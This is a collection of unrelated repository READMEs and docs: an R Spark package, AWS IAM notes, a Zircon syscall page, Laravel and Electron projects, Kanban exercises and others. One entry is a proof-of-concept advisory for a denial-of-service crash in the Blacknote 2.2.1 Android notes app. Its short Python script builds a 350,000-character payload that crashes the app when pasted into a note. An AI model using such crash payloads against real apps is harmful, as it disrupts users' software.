text:
[![Build Status](https://travis-ci.org/mitre/sparklyr.nested.svg?branch=master)](https://travis-ci.org/mitre/sparklyr.nested)

A package to extend the capabilities available in the open source `sparklyr` package with support for working with nested data.

## Installation & Documentation

To install:

```r
devtools::install_github("mitre/sparklyr.nested")
```

Note that per the `sparklyr` installation instructions, you will need to install Spark if you have not already done so or are not using a cluster where it is already installed.

Full documentation is available here: https://mitre.github.io/sparklyr.nested/

## Nested Operations

The `sparklyr` package makes working with Spark in R easy.
The goal of this package is to extend `sparklyr` so that working with nested data is easy.
The flagship functions are `sdf_select`, `sdf_explode`, `sdf_unnest`, and `sfd_schema_viewer`.

### Schema Viewer

Suppose I have data about aircraft phase of flight (e.g., climb, cruise, descent).
The data is somewhat complex, storing radar data points marked as the start and end points of a given phase.
Furthermore, the data is structured such that for a given flight, there are several phases (disjoint in time) in a nested array.

This is a data set that is not very natural for more R use cases (though the `tidyr` package helps close this gap) but is fairly typical for Hadoop storage (e.g., using Avro or Parquet).
The schema viewer (coupled with a json schema getter `sdf_schema_json`) makes understanding the structure of the data simple.

Suppose that `spark_data` is a Spark data frame.
The following is mostly a bunch of code to simulate a `sparklyr` environment where no actual spark connection exists, but the key bit at the end shows how the `listviewer` package with some schema parsing yields an effective view of how the data is structured.

```r
library(testthat)
library(jsonlite)
library(sparklyr)
library(sparklyr.nested)

with_mock(
  # I am mocking functions so that the example works without a real spark connection
  spark_read_parquet = function(x, ...){return("this is a spark dataframe")},
  sdf_schema_json = function(x, ...){return(fromJSON(sample_json))},
  spark_connect = function(...){return("this is a spark connection")},

  # -- interesting part starts here -------------------

  sc <- spark_connect(),
  spark_data <- spark_read_parquet(sc, path="path/to/data/*.parquet", name="some_name"),
  sdf_schema_viewer(spark_data)
)
```

It is also handy to use the schema viewer to quickly inspect what a pipeline of operations is going to return.
This enables you to anticipate the structure of the output you are going to get (and make sure the operations are valid with respect to schema modification) without doing any actual computation on your data.
For example:

```r
spark_data %>%
  sdf_unnest(phases) %>%
  select(aircraft_id, start_point) %>%
  sdf_schema_viewer()
```

### Nested Select

The `sdf_select` function makes it possible to select nested elements.
For example, given the schema displayed above, we may be interested in only the phase start point; and there only the time and altitude fields.
Grabbing these elements is not possible with a simple `select`, but can be done via:

```r
spark_data %>%
  sdf_select(aircraft_id, time=phases.start_point.time, altitude=phases.start_point.altitude)
```

In java dots are not valid characters in a field name so the dot-operator is handled.
However, since the dollar sign is typically used for this purpose in R, that is supported as well.
The following will trigger the same operation as the above:

```r
spark_data %>%
  sdf_select(aircraft_id, time=phases$start_point$time, altitude=phases$start_point$altitude)
```

### Explode

The example above would work, but would return something of a mess.
The `time` and `altitude` fields would contain vectors of time and altitude values (respectively) for each row-wise element.
Thus for a single `aircraft_id` you would have N values in the corresponding `time` and `altitude` fields.
The explode functionality will flatten the data in the sense that it will replicate the top level record once for each element in a nested array along which you are exploding.
It will *not* change the schema beyond transforming arrays to structures.

The above example could be repeated like so to get something more typical for R where there is a single value per field per "row" (record).
In this case the `aircraft_id` values would be replicated N times instead of having vectors in the `time`/`altitude` fields.

```r
spark_data %>%
  sdf_explode(phases) %>%
  sdf_select(aircraft_id, time=phases$start_point$time, altitude=phases$start_point$altitude)
```

### Unnest

Unnesting here works essentially the same way as in the `tidyr` package.
It is necessary here because `tidyr` functions cannot be called directly on spark data frames.
An unnest operation is a combination of an explode with a corresponding nested select to promote the (exploded) nested fields up one level of the data schema.

Thus the following operations are equivalent:

```r
spark_data %>%
  sdf_unnest(phases)
```

and

```r
spark_data %>%
  sdf_explode(phases) %>%
  sdf_select(aircraft_id, terrain_fusion_key, vertical_taxonomy_key, sequence,
             start_point=phases.start_point, start_point=phases.start_point, phase=phases.phase,
             takeoff_mode=phases.takeoff_model, landing_model=phases.landing_model,
             phases_primary_key=phases.primary_key, primary_key)
```

There are a few things to notice about how `sdf_unnest` does things:

- It will only dig one level deep into the schema. If there are fields nested 2 levels deep, they will still be nested (albeit only down 1 level) after `sdf_unnest` is executed. Therefore you are *not* guaranteed totally flat data after calling `sdf_unnest`.

- It will promote *every* one-level-deep field, even if you only care about a few of them.

- In the event of a name conflict (e.g., there is a top level `primary_key` and a `primary_key` nested inside the `phases` field) then the nested field will be renamed with a prepended value. By default this takes the name of the field in which it was nested (as above) but is settable.


text:
#Service feature table (no cache)

This sample demonstrates how to use a feature service in on interaction no cache mode.

<img src="ServiceFeatureTableNoCache.jpg" width="350"/>

### Instructions

[](Esri Tags: ArcGIS Runtime SDK .NET WinRT WinStore WPF WinPhone C# C-Sharp DotNet XAML MVVM)
[](Esri Language: DotNet)

branch_name: refs/heads/master

extension: md

license_type: permissive


text:
---
layout: post
title: AWS Identity and Access Management
---

# {{ page.title }}

AWS __Identity and Access Management (IAM)__ is a service that helps you control access to AWS resources.
You use IAM to control who is authenticated (signed in) and authorized (has permissions) to use resources.

## Terms

### Root User

When you first create an AWS account, you have a single sign-in identity that has complete access to all
AWS services and resources (aka the __root user__). You do not want to use the root user for everyday tasks.
Instead, use the root user to create an IAM user.

### Principal

The __principal__ is a person or application that can make a request for an action/operation on an AWS resource.

### Authentication

The principal has to be __authenticated__ (signed into AWS) using their credentials to send a request to AWS.
Examples include:

* console authentication - sign in with email address and password
* IAM user - provide your account ID or alias along with your user name and password

Additional steps like multi-factor authentication (MFA) may be needed or added

### Authorization

__Authorization__ allows or blocks your request to complete an action on a resource.
The request checks for policies that apply to the request. Most policies are stored as JSON documents
and specify the permissions for principal entities. You can apply policies a few different ways:

* Use __identity-based policies__ to provide your users with permissions to access the AWS resources in their own account
* Use __resource-based policies__ to provide cross-account access (but watch out, this is much more advanced)

### Actions or Operations

Each resource has certain actions you can take on it. E.g. you can view, create, edit, or delete a resource like
an EC2 instance. In order for you to run an action/operation on a resource, you need the necessary actions in
a policy that applies to your logged in person (aka __Principal__).

### Resources

A resource is an object that exists within a service. Examples include Amazon EC2 instances, an IAM user, an
S3 bucket, etc. You run an action/operation on each resource. E.g. you can request to delete an IAM role or list S3 buckets.

## Identities

__IAM identities__ are used to provide authentication for people and processes in your AWS account.
We have break this up a few ways:

* __IAM Users__ - an IAM user is a person or service that uses the IAM user to interact with AWS
  An example of this is to give people the ability to sign into the AWS management console.
  A user in AWS has a name, password and up to two access keys that can be used in the API or CLI.
  You make the IAM user a member of a group (that has the appropriate permission policies attached - recommended)
  OR you can directly attach policies to the user (not recommended).
* __IAM Groups__ - an IAM group is a collection of IAM users. E.g. you can have an `Admin` group that has admin
  privileges. You attach policies to principles.
* __IAM Roles__ - an IAM role is like a user in that it is an identity with permission policies that determine
  what the identity can and cannot do in AWS. A role just does not have any credentials (password or access keys)
  associated with it. Instead of being uniquely associated with one person, a role is intended to be assumed by
  anyone who needs it.

## Who are you (Security Token Service)?

```
❯ aws sts get-caller-identity

{
    "UserId"<EMAIL_ADDRESS>    "Account": "XXXXXXXXXX",
    "Arn"<EMAIL_ADDRESS>}
```

### IAM Users vs IAM Roles

Use an IAM User when:

* You created an AWS account and you are the only person who works in your account
* Other people in your group need to work in AWS and your group is using no other identity mechanism

Use an IAM Role when:

* An application (e.g. EC2 instance) makes requests to other AWS resources.
* An app that runs on a mobile phone needs to make requests to AWS

### Federated Roles

Your users might already have an identity outside of AWS (e.g. your corporate directory or a SAML like OKTA).
If these users need to work with AWS resources, then they also need AWS security credentials.
You can use an IAM role to specify permissions for those users whose identity is __federated__ from your organization
or a third party identity provider.

When do you use this? We might create an AWS IAM role for engineers with a `Principal` of `Federated` through the
SAML provider OKTA. The action would be to `sts:AssumeRoleWithSAML`. See 'sts' for details below.

### AWS Service Role

A role that a service assumes to perform actions in your account on your behalf.
Some AWS services require a role for the service to assume; this role must include all the permissions
required for the service to access the AWS resources that it needs.
You can create, modify, and delete a service role from within IAM.

### AWS Service Linked Roles

An IAM service-linked role is a unique type of IAM role that is linked directly to a service (e.g. MSK Connect).
Service-linked roles are predefined by the service and includes all the permissions that the service requires to
call other AWS services on your behalf.

An advantage to a service-linked role is that you do not have to manually add the necessary permissions; the
service (e.g. MSK Connect) defines the permissions and only the service can assume its roles. This includes:

* the trust policy
* the permissions policy

Check [here](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_aws-services-that-work-with-iam.html) for AWS Services that have Service-linked roles

For an example service like MSK Connect, you do not need to manually create a service-linked role. When you create
a connector, MSK Connect creates the service-linked role for you.

### Cross-service confused deputy prevention

The confused deputy problem is a security issue where an entity that doesn't have permission to perform an action
can coerce a more-privileged entity to perform the action. Cross-service impersonation can occur when one service
(the calling service) calls another service (the called service). The calling service can be manipulated to use its
permissions to act on another customer's resources in a way it should not have permission to access.

AWS recommends using the `aws:SourceArn` and `aws:SourceAccount` global condition context keys in resource policies
to limit the permissions that MSK Connect gives another service to the resource.

## Terraform

### IAM Resources

Terraform __resources__ describe an infrastructure object, such as an EC2 or DNS record.

    resource "aws_instance" "web" {
      ami           = "ami-a1b2c3d4"
      instance_type = "t2.micro"
    }

You can access information about resources in the same module using __expressions__.
Use the syntax `<RESOURCE_TYPE>.<NAME>.<ATTRIBUTE>` syntax to reference a resource attribute in an expression.

### IAM Data Sources

Terraform __data sources__ allow data to be fetched or computed for use somewhere else in the Terraform configuration.
You would use a data source when your Terraform needs to read information defined outside of Terraform or
in another separate Terraform configuration.

You access a data source via a special resource known as a __data resource__, which is declared using a `data` block.

    # Fetch information about a specific IAM policy
    data "aws_iam_policy" "example" {
      arn = "arn:aws:iam::XXXXXX:policy/UsersManageOwnCredentials"
    }

    # Creates an IAM policy document in JSON format, for use with resources like an `aws_iam_policy` resource
    data "aws_iam_policy_document" "example" {
      statement {
        sid = "1"

        actions = [
          "s3:ListAllMyBuckets",
          "s3:GetBucketLocation",
        ]

        resources = [
          "arn:aws:s3:::*",
        ]
      }

      statement {
        actions = [
          "s3:ListBucket",
        ]

        resources = [
          "arn:aws:s3:::${var.s3_bucket_name}",
        ]

        condition {
          test     = "StringLike"
          variable = "s3:prefix"

          values = [
            "",
            "home/",
            "home/&{aws:username}/",
          ]
        }
      }

      statement {
        actions = [
          "s3:*",
        ]

        resources = [
          "arn:aws:s3:::${var.s3_bucket_name}/home/&{aws:username}",
          "arn:aws:s3:::${var.s3_bucket_name}/home/&{aws:username}/*",
        ]
      }
    }

    resource "aws_iam_policy" "example" {
      name   = "example_policy"
      path   = "/"
      policy = data.aws_iam_policy_document.example.json
    }

## AWS Security Token Service (STS)

AWS Security Token Service (STS) is a web service that lets you request temporary, limited-privilege credentials
for AWS Identity and Access Management (IAM) useres or for users you authenticate (federated users).

AWS STS is availabile as a global service where all STS requests got to a single endpoint at `https://sts.amazonaws.com`.

You can run a few actions including:

* `AssumeRole` - returns a set of temporary security credentials that you can use to access AWS resources.
  Temporary credentials consist of an access key ID, a secret access key, and a security token. Usually you use
  AssumeRole within your account or for cross-account access
* `AssumeRoleWithSAML` - returns a set of temporary security credentials for users who have been authenticated via a
  SAML authentication response. This provides a mechanism for tying an enterprise identity store or directory to role-based
  AWS access without user-specific credentials or configuration. The temporary credentials returned by this operation
  consist of an access key ID, a secret access key, and a security token. By default, these temp credentials last one hour.

## SSO

Run:

```
aws sso login --profile <some_profile> && eval $(aws-sso-creds export)
```

Show:

```
aws configure sso

# test with: aws s3 ls --profile <some_profile>
```

gha_language: CSS


text:
# zx_interrupt_create

## NAME

interrupt_create - create an interrupt handle

## SYNOPSIS

```
#include <zircon/syscalls.h>

zx_status_t zx_interrupt_create(zx_handle_t resource, uint32_t vector,
                                uint32_t options, zx_handle_t* out_handle);

```

## DESCRIPTION

**interrupt_create**() creates a handle for drivers to use to wait for
hardware interrupts.

The parameter *resource* is a resource handle used to control access to this
syscall. *resource* must be of type *ZX_RSRC_KIND_IRQ* or be the root resource.

The parameter *vector* is the interrupt vector number for the interrupt.

The parameter *options* is a bitfield containing zero or more of the following flags:

**ZX_INTERRUPT_REMAP_IRQ** - remap interrupt vector if necessary

**ZX_INTERRUPT_MODE_EDGE_LOW** - edge trigger interrupt on low state

**ZX_INTERRUPT_MODE_EDGE_HIGH** - edge trigger interrupt on high state

**ZX_INTERRUPT_MODE_LEVEL_LOW** - level trigger interrupt on low state

**ZX_INTERRUPT_MODE_LEVEL_HIGH** - level trigger interrupt on high state

**ZX_INTERRUPT_MODE_DEFAULT** - same as ZX_INTERRUPT_MODE_EDGE_LOW

An interrupt handle is returned in the *out_handle* parameter on success.

The handles will have *ZX_RIGHT_TRANSFER* (allowing them to be sent
to another process via channel write), as well as *ZX_RIGHT_READ* and *ZX_RIGHT_WRITE*.
In particular, interrupt handles do not have *ZX_RIGHT_DUPLICATE*.

## RETURN VALUE

**interrupt_create**() returns **ZX_OK** on success. In the event
of failure, a negative error value is returned.

## ERRORS

**ZX_ERR_ACCESS_DENIED** the *resource* handle does not allow this operation.

**ZX_ERR_INVALID_ARGS**  *vector* contains an invalid interrupt number,
*options* contains invalid flags or the *out_handle* parameter is an invalid pointer.

**ZX_ERR_NO_MEMORY**  (Temporary) Failure due to lack of memory.

## SEE ALSO

[interrupt_wait](interrupt_wait.md),
[interrupt_complete](interrupt_complete.md),
[interrupt_signal](interrupt_signal.md),
[handle_close](handle_close.md).

repository: AlexxNica/zircon

repo_name: AlexxNica/zircon


text:
![reciper](https://github.com/SerhiiCho/reciper/blob/master/storage/app/public/other/wallpaper.jpg?raw=true)

# About

##### What is it?

It's a free web application that unites people who love cooking and charing their recipes with other people. People can register and have their own account where they can publish cooking recipes, and earn experience and popularity points for different actions. Such as publishing recipe, likes, views and starts that they receive from other users. Every register user also has free access to the statistic page, where they can watch stats. For example chart (chart.js with vue.js) with data that shows how many likes, views and stars they received in particular month and general statistic.

# Languages

##### Where we at?

For this moment, the application fully supports Russian language and will be supporting English as well. There is no hard coded text in blade files, all text is going through **trans()** laravel function and **@lang()** blade directive.

##### Files

All Russian translation files are in `resources/lang/ru` folder, they will be copied to `resources/lang/en` folder and translated to English in a future.

##### Database tables

The idea is that depending on what language is currently selected, user or visitor sees materials with chosen language. I have some duplicate fields in database like *title_ru* and *title_en*, *text_ru* and *text_en* etc.. And depending on what language is selected it shows needed fields. Also any author of the recipe will be able to translate his or her recipe from Russian to English or vice versa.

# Get started

##### For non docker people

* Clone and enter downloaded folder
* `cp .env.example .env` copy the *env.example* and create *.env*
* Open just created *.env* file and fill database credentials
* Create database with the name that you filled in *.env* file in DB_DATABASE field
* `composer install` to install all PHP packages
* `npm install` to install node modules
* `npm run prod` to compile sass and vue files
* `php artisan key:generate` to generate laravel app key
* `php artisan wipe`, migrate all migrations and seed the database
* `php artisan storage:link`, create a link in public folder to storage
* `php artisan serve` to start a server *(go to localhost:8000)*
*. `vendor/bin/phpunit` make sure tests are green

##### For docker people

* Clone, enter reciper folder and run `./run.sh`

# Editional information

##### Used technologies

* [PHP](http://php.net/)
* [Redis](https://redis.io/)
* [MySQL](https://www.mysql.com/)
* [JavaScript](https://www.javascript.com/)
* [Docker](https://www.docker.com/)

##### Used frameworks

* [laravel/laravel](https://github.com/laravel/laravel) | PHP framework
* [vuejs/vue](https://github.com/vuejs/vue) | JavaScript framework
* [Dogfalo/materialize](https://materializecss.com) | CSS framework

license: MIT

repository: underdogg-forks/reciper

repo_name: underdogg-forks/reciper


text:
# Alpha
The Alpha framework will be a PHP framework that ships with its own visual IDE, it is going to take a different approach on the way things are built and will be great for new developers and designers alike. The goal behind this project is to provide a sleek environment to visually drag and drop elements onto a web page, while still giving experienced developers the tools needed to build anything their hearts desire.

# Alpha Framework Development
It's easy to start working on the Alpha framework, if there are any features you might find you need, you can edit the source files and create a pull request so we can review your code and hopefully add it to the next release. This project is written with the Electron framework, so setting up a development environment is as easy as running 3 commands.

```bash
# Clone the Repository
git clone https://github.com/gmathis95/alpha

# Installing the dependancies
npm install

# Running the Alpha IDE
npm run
```
As you can see, this is a very simple setup and it shouldn't take very long to get started. We try to keep the code in a state that's easy to understand because the easier it is to understand the code, the easier it will be to maintain it.

# Planned Features (It would be nice to get some help)
1. Drag and Drop Editor that exports the attributes to JSON format.
2. A tool to parse the JSON save files back into something visual
3. A code editor that will allow developers to create their own Modules (or what Alpha will call them, prefabs)


text:
Python Mini Projects
1. Create a Python project to get the value of Pi to n number of decimal places.
Note: Input a number and the program will generate PI to the 'nth digit

Click me to see the sample solution

2. Create a Python project to get the value of e to n number of decimal places.
Note: Input a number and the program will generate e to the 'nth digit

Click me to see the sample solution

3. Create a Python project to guess a number that has randomly selected.

Click me to see the sample solution

4. Create a Python project that prints out every line of the song "99 bottles of beer on the wall." Note: Try to use a built in function instead of manually type all the lines.

Click me to see the sample solution

5. Create a Python project of a Magic 8 Ball which is a toy used for fortune-telling or seeking advice.

Allow the user to input their question.
Show an in progress message.
Create 10/20 responses, and show a random response.
Allow the user to ask another question/advice or quit the game.
Click me to see the sample solution

repository: nisabzahid/Analytics

repo_name: nisabzahid/Analytics


text:
# Exploit Title: Blacknote 2.2.1 - Denial of Service (PoC)
# Date: 2021-06-02
# Author: Brian Rodríguez
# Download Link: https://play.google.com/store/apps/details?id=notepad.note.notas.notes.notizen&hl=es_MX
# Version: 2.2.1
# Category: DoS (Android)

##### Vulnerability #####

BlackNote Bloc de notas is vulnerable to a DoS condition when a long list of characters is being used when creating a note:

# STEPS #
# Open the program.
# Create a new Note.
# Run the python exploit script payload.py, it will create a new payload.txt file
# Copy the content of the file "payload.txt"
# Paste the content from payload.txt twice in the new Note.
# Crashed

Successful exploitation will cause the application to stop working.

I have been able to test this exploit against Android 8.0.

##### PoC #####
--> payload.py <--
#!/usr/bin/env python
buffer = "\x41" * 350000

try:
    f = open("payload.txt","w")
    f.write(buffer)
    f.close()
    print ("File created")
except:
    print ("File cannot be created")

branch_name: refs/heads/main


text:
---
layout: page
title: Research
description: ---
---

Synthetic biology is a rapidly growing field set to make profound impact in numerous industries including manufacturing, healthcare, agriculture, and sustainable energy, as well as our fundamental understanding of life itself. However, engineering synthetic biological systems reliably has proven to be a tremendously challenging task.

One promising approach is to use cell-free gene expression systems. These are *in vitro* systems that mimic the cellular environment and can be integrated with microfluidic technologies to rapidly prototype and screen synthetic gene circuits, prior to their deployment *in vivo*. This speeds up the synthetic biology design cycle, but also perhaps more powerfully, releases gene expression from the confines of the cell. In this way, the cell-free extracts themselves can be viewed as functional aqueous solutions, programmed by DNA.

**The aim of our research is to harness these *in vitro* biomolecular mechanisms in a controlled and quantitative manner.**

The consequence of this approach is twofold: the first is a deeper understanding of life, as we attempt to control and manipulate genetic and metabolic systems which have been crafted over billions of years of evolution. The second is the development of powerful cell-free applications which, unlike synthetic cellular systems, are not limited by the strict requirements to maintain life.

---

We currently have projects spanning four themes:

Optimisation - Cell-free protein synthesis (CFPS) is a complex biochemical reaction, and optimising it to produce specific proteins with high titres and functionality is not a trivial task. We are designing automated pipelines to combine data, models, liquid handling (using low-cost Opentrons machines as well as the full resources of the Edinburgh Genome Foundry), and statistical techniques to improve CFPS performance for specific proteins, by modulating reaction composition as well as judiciously supplementing the reaction with protein and small-molecule factors. People involved: Alex Perkins, Sahan Liyanagedera

Metabolism - Decades of studies have highlighted the key effects that the residual background metabolism of the lysate has on CFPS, and major improvements to reaction performance have been achieved by modulating this metabolism. We are seeking to understand the principles that govern cell-free metabolism, particularly in terms of energy and cofactor regeneration, by carefully analysing the metabolomics profiles of CFPS reactions, as well as constructing and testing our own synthetic pathways. People involved: Surendra Yadav, Tony Bougas

Microfluidics - Combining CFPS with microfluidic devices has enabled studies at high throughput, and with exquisite control. We are using our high-throughput microfluidic platform to carry out enzyme engineering, and microfluidic chemostats to investigate the properties of CFPS reactions that regenerate their own components, as a precursor to replicative synthetic cells. People involved: Sarah Paterson, Ella Thornton, Christoph Wagner

Modelling - In-silico models of CFPS can guide fundamental understanding, optimisation efforts, and reduce experimental costs, by directing us to more informative measurements. We are developing mechanistic, predictive models of CFPS, and applying them to inference and experimental design problems. People involved: Sandy Nelson, Christoph Wagner

---

Funding

We gratefully acknowledge support from the following organizations:

gha_license_id: NOASSERTION


text:
---
title: Runtime
summary: Runtimes provide a framework to ensure the environment where a step runs is consistent
weight: 3
---

### Overview
When requesting a step to run as part of a workflow, Orquestra provides the connection between the underlying infrastructure and your step through the use of the runtime.

Runtimes provide a lifecycle framework for steps in a workflow as follows:
- ensure all Orquestra components are available in the step context
- aid in type checking all inputs to the step
- deserialize input data
- ensure the step has all dependencies required to run successfully
- run the step
- serialize output data

### Using Runtimes
Specifications for using a runtime in a workflow `step` can be found [here](../steps/#runtime)

Each runtime must specify a `language`. This language determines what software language is utilized during a step of the workflow.

### Where do Runtime Languages come from?

Orquestra comes with a "core" runtime language type to cover the common use case of `python3`. This runtime is open source and can be found [here](https://github.com/zapatacomputing/python3-runtime).

Other runtime languages be developed and deployed and then used within your runtime as well.

### How do Runtime Languages work?

Each runtime language must contain the following three binaries:

1. `install` determines and sets up what is required to support this runtime language.
2. `supply` provides all dependencies for this step.
3. `run` ensure all types of inputs are correct types, calls the required functions or commands (with correct inputs) to run the step.

### Python3 Runtime

Supported Python Versions:
* Python 3.7

When requesting `python3` code to run within a step of the workflow, set the `language` key to `python3`.

Below is an example:

```yaml
steps:
- name: helloworkflow
  config:
    runtime:
      language: python3                               # <-----------------
      parameters:
        file: hellov1/src/python/orquestra/main.py    # <-----------------
        function: main                                # <-----------------
```

#### Dependency Management
While there are no restrictions on how to organize source code when using the python3 runtime, Orquestra does provides automatic installation of python dependencies as follows:

All components defined within the runtime imports will follow the following dependency resolution:
1. with pip using `requirements.txt` file in the root directory of your imported components
1. with pip using `setup.py` file in the root directory of your imported components
1. with pip using `vendor/` directory in the root directory of your imported components

**NOTE:**
To ensure proper installation of dependencies, it is recommended to package vendor'd dependencies as non-binary. The following `pip download` command achieves this.

```sh
$ cd YOUR-COMPONENT-DIR
$ mkdir -p vendor

# vendors pip *.tar.gz into vendor/
$ pip download -r requirements.txt --no-binary=:none: -d vendor
```

#### Running Functions
Orquestra provides automatic calling of functions within a step of your workflow. In the python3 case:
- **(required)** The function that is called is specified by `runtime.config.parameters.function` key.
- **(required)** The function is expected to be found within a python file specified by `runtime.config.parameters.file`.
- **(optional)** Inputs to this function are specified with the `steps.inputs` array.

repository: CyberMonitor/orquestra-docs

repo_name: CyberMonitor/orquestra-docs


text:
Exercise: Create an event Kanban from a sales order
===================================================

A sales order has been received for a green speaker set, which triggers event
Kanbans for the speaker set on the packaging work cell and the speaker kits on
the speaker assembly work cell. Produce the speaker kits and speaker set to
fulfill the customer sales order.

Kanban Line Event
-----------------

1.  Navigate to **Sales and marketing\>Sales orders\>All sales orders**.

2.  Click **New**.

3.  Select the **Customer account** as US-016.

4.  Click **OK**.

5.  Enter **Item number** of “L0026”.

6.  Enter **Quantity** of “12.00”.

7.  Click **Update confirmed date**.

8.  Select **Site** of 1 (scroll or tab right).

9.  Select **Warehouse** of 13.

10. Select **Location** of 13.

11. If **Location** is not set on the sales order, select the Sales order line
    \> Display \> Dimensions button. Tick on the location and configuration.

12. Select Configuration 01.

13. When you save, if the date cannot be promised, select **Update confirmed
    ship date**.

14. Select the **Product and supply \> View pegging tree** menu button to view
    the event Kanbans created for the sales order.

Plan the Kanbans
----------------

Follow these steps to plan the Kanbans on the packaging and speaker assembly
work cells.

1.  Navigate to **Production control\>Kanban\>Kanban schedule board**.

2.  Change the Work cell to 1250.

3.  Plan the Kanban for 1250 by selecting the Kanban job in the board.

4.  Close all forms.

5.  Navigate to **Production control \> Kanban \> Kanban board for process
    jobs**

6.  Select the Change cell button.

7.  Change Work cell to 1250.

8.  Highlight the desired Kanbans and click **Start**.

9.  Click **Complete**.

10. Select the **Change cell** button.

11. Change **Work cell** to 1250.

12. Highlight a Kanban and switch to the **Pegging** FastTab on the **Kanban
    board for process jobs** work cell form. View the complete lower level
    speaker set Kanbans on the pegging tree.

13. Click **Start**.

14. Click **Complete**.

Transfer the Speaker Set
------------------------

Follow these steps to transfer the speaker set to the warehouse.

1.  Navigate to **Production control \> Kanban \> Kanban board for transfer
    jobs**.

2.  Expand **Filters** FastTab

3.  Select a **Production Flow**

4.  Click **Update picking list** on the Transfer tab in the action pane

5.  Click **Add picking** line

6.  Click **Confirm** pick all

7.  Close the form

8.  Select **Start**

9.  Select **Complete**

Exercise: Create a kanban line event
====================================

In **USMF**, a sales order has been received for a product L0001, a
MidRangeSpeaker2, which triggers event Kanbans for the MidRangeSpeaker2 on the
packaging work cell and the speaker kits on the speaker assembly work cell.
Produce the speaker kits and speaker set to fulfill the customer sales order.

Enter sales order
-----------------

1.  Go to **Sales and marketing \> Sales orders \> All sales orders**.

2.  Click **New**.

3.  In the **Customer account** field, enter or select US-003.

4.  Click **OK**.

5.  In the Item number field, enter or select L0001.

6.  Set **Quantity** to '1.00'.

7.  Click **Product and supply**.

8.  Click **Event kanban**.

9.  Click **Product and supply**.

10. Click **View pegging tree**.

11. Close the page.

Plan the Kanbans
----------------

1.  Go to **Production control \> Kanban \> Kanban job scheduling**.

2.  Click **Plan entire pegging tree** under Plan in the action pane.

3.  Select a few rows for those unplanned kanbans.

4.  Click **Plan entire pegging tree**.

5.  In the **Work cell** field, enter or select 1250.

6.  Close the page.

Process jobs
------------

1.  Go to **Production control \> Kanban \> Kanban board for process jobs**.

2.  In the **Work cell field**, enter or select 1250.

3.  Select a few rows for those planned kanbans

4.  Click **Prepare**.

5.  Expand the **Details** section. Note the details

6.  Collapse the **Details** section.

7.  Expand the **Picking list** section. Note the raw materials needed.

8.  Click **Start**.

9.  Click **Complete**.

10. On the Action Pane, click **View**.

11. Click **Process job list**.

12. Select the **Site** check box.

13. Select the **Warehouse** check box.

14. Select **Yes** in the Save setup field.

15. Select the **Location** check box.

16. Click **OK**.

17. Select a planned job.

18. On the Action Pane, click **Pick**.

19. Click **Update picking list**.

20. Click **Add picking line**.

21. Click **Confirm pick all**.

22. Close all forms.

Perform transfers
-----------------

1.  Go to **Production control \> Kanban \> Kanban board for transfer jobs**.

2.  Select a job to start the transfer. Click **Start**.

3.  Click **Complete**.

4.  On the Action Pane, click Transfer.

5.  Select few rows for those jobs to start transfer. Click **Start**.

6.  On the Action Pane, click **Transfer**.

7.  Click **Update picking list**.

8.  Click **Add picking line**.

9.  Click **Confirm pick all**.

10. Close all forms.


text:
# README

From [here](https://nixos.org/nixos/nix-pills/working-derivation.html).

## With nix-repl

In the nix-repl:
```
:l <nixpkgs>
simple = derivation { name = "simple"; builder = "${bash}/bin/bash"; args = [ ./simple_builder.sh ]; gcc = gcc; coreutils = coreutils; src = ./simple.c; system = builtins.currentSystem; }
:b simple
```

Literally from the pill:

```
We added two new attributes to the derivation call, gcc and coreutils. In gcc = gcc;, the name on the left is the name in the derivation set, and the name on the right refers to the gcc derivation from nixpkgs. The same applies for coreutils.

We also added the src attribute, nothing magical - it's just a name, to which the path ./simple.c is assigned. Like simple-builder.sh, simple.c will be added to the store.

The trick: every attribute in the set passed to derivation will be converted to a string and passed to the builder as an environment variable. This is how the builder gains access to coreutils and gcc: when converted to strings, the derivations evaluate to their output paths, and appending /bin to these leads us to their binaries.

The same goes for the src variable. $src is the path to simple.c in the nix store. As an exercise, pretty print the .drv file. You'll see simple_builder.sh and simple.c listed in the input derivations, along with bash, gcc and coreutils .drv files. The newly added environment variables described above will also appear.

In simple_builder.sh we set the PATH for gcc and coreutils binaries, so that our build script can find the necessary utilities like mkdir and gcc.

We then create $out as a directory and place the binary inside it. Note that gcc is found via the PATH environment variable, but it could equivalently be referenced explicitly using $gcc/bin/gcc.
```

## With .nix

```
with (import <nixpkgs> {});
derivation {
  name = "simple";
  builder = "${bash}/bin/bash";
  args = [ ./simple_builder.sh ];
  inherit gcc coreutils;
  src = ./simple.c;
  system = builtins.currentSystem;
}
```

and run

```
nix-build simple.nix
```

repository: mauriciojost/dotfiles

repo_name: mauriciojost/dotfiles


text:
# Victoire Contribution Workflow

This document describes the git workflow that should be used when contributing to Victoire.

For a more general Git-Workflow, you can have a look [here](https://github.com/asmeurer/git-workflow/blob/master/README.md)

##Clone and fork Victoire repository

**Note: The steps in this section only need to be performed once per repository**

1 : Create your own Fork

Get to [Github](https://github.com/victoire/victoire), then click on "Fork"

2 : Clone your fork on your computer

    git clone git@github.com:USER/victoire.git

3 : Access to Victoire's original deposit:

    git remote add upstream git@github.com:Victoire/victoire.git

This command create a new remote to your deposit.
You have now two remote: one heading to your fork (`origin`) and another heading to the original one (`upstream`)
You can check this with this command:

    git remote -v

That should return:

    origin  git@github.com:USER/victoire.git (fetch)
    origin  git@github.com:USER/victoire.git (push)
    upstream    git@github.com:Victoire/victoire.git (fetch)
    upstream    git@github.com:Victoire/victoire.git (push)

## Synchronize your fork with Victoire's original deposit

If this is your first set up, your fork is up to date.
If you have created your fork earlier on, there is a high probability that it doesn't include the changes made in the original deposit. In order to update it, you have to recover upstream's last commits:

    git fetch upstream

Then you need to merge them in your own fork:

    git merge upstream/masteram

## Merge your modifications

If you've worked on Victoire for a specific project, you surely have made modifications which aren't on your fork but on the Victoire's project deposit. That leads to different problematics:

* You won't be able to perform Behat tests
* If you've executed composer as --prefer-dist then Victoire's .git will be missing

The solution is to copy your modifications made in the project's Victoire in your fork.
To do so, you have to create a patch:

    cd vendor/victoire/victoire
    git diff > /tmp/patch

This operation creates a file /tmp/patch with your modifications.

You can now proceed doing your commits, push and issue a Pull Request.

**Please, be descriptive in your branch names, commit messages, and pull request title and descriptions**

## Execute a Pull Request

Go to your fork's deposit on GitHub and access to the Pull Request tab: github.com/USER/victoire/pulls
You can now click on "New Pull Request" and GitHub takes in charge the next step.

*Once you have a pull request for a branch, you can push additional changes to the same branch and they will be added to the pull request automatically. You should never create a new pull request for the same branch.*

Et Voilà !

Thanks a lot for your collaboration

repository: Victoire/victoire

gha_language: JavaScript

gha_license_id: MIT

